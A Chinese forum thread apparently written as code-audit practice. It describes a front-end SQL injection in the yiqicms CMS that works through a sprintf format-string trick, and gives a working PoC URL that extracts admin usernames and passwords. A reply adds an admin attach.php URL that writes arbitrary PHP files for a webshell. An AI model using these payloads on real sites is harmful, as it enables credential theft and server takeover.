yiqicms 前台sql注入

0x00 前言:

最近放暑假了,在家里感觉挺闲的,不知道干啥比较好。后来想了下觉得自己得利用这个时间好好提升下自己的代码审计技术了。所以这里就找了yiqicms来练练手。

0x01 Go 本地搭建测试:

首先随便点击一下公司介绍可以看到有个name参数

打开article.php页面可以看到$name被传入到GetArticleByName函数,而且由于没有adminid,第二个参数为false!

article.php在第3行包含了include/article.class.php

GetArticleByName函数可以里面找到
由于第二个参数为false所以会走到下面的sql语句,也就是说用到了sprintf

关于sprintf函数刚好我前段时间做过一题CTF注入就是这个函数漏洞
我们在这个sql语句的上下分别打印出$name,$sql

使用%1$'然后带入sprintf后的sql语句可以看到转义符已经没了。

0x02 poc:

构造出来的poc,直接查询账号密码(因为.被过滤不能查信息数据库(暂时还没bypass))

/article.php?name=%1$%27union+select+1,2,3,4,5,6,7,%1$%27about%1$%27,9,(select+username+from+yiqi_users),11,%1$%27article.tpl%1$%27,(select+password+from+yiqi_users),14,15%23

2 个赞

这个我刚复线了一下,但是到后台了我没有找到好的getshell的方法,请问你有找到马?

访问:http://127.0.0.1:8080/admin/attach.php?save=1&name=test.php
POST发送数据就可以写入文件.

1 个赞

好的,感谢大佬,我去做一波代码审计,感谢大佬

没有找到合适模板。

上传文件的地址你是怎么看的?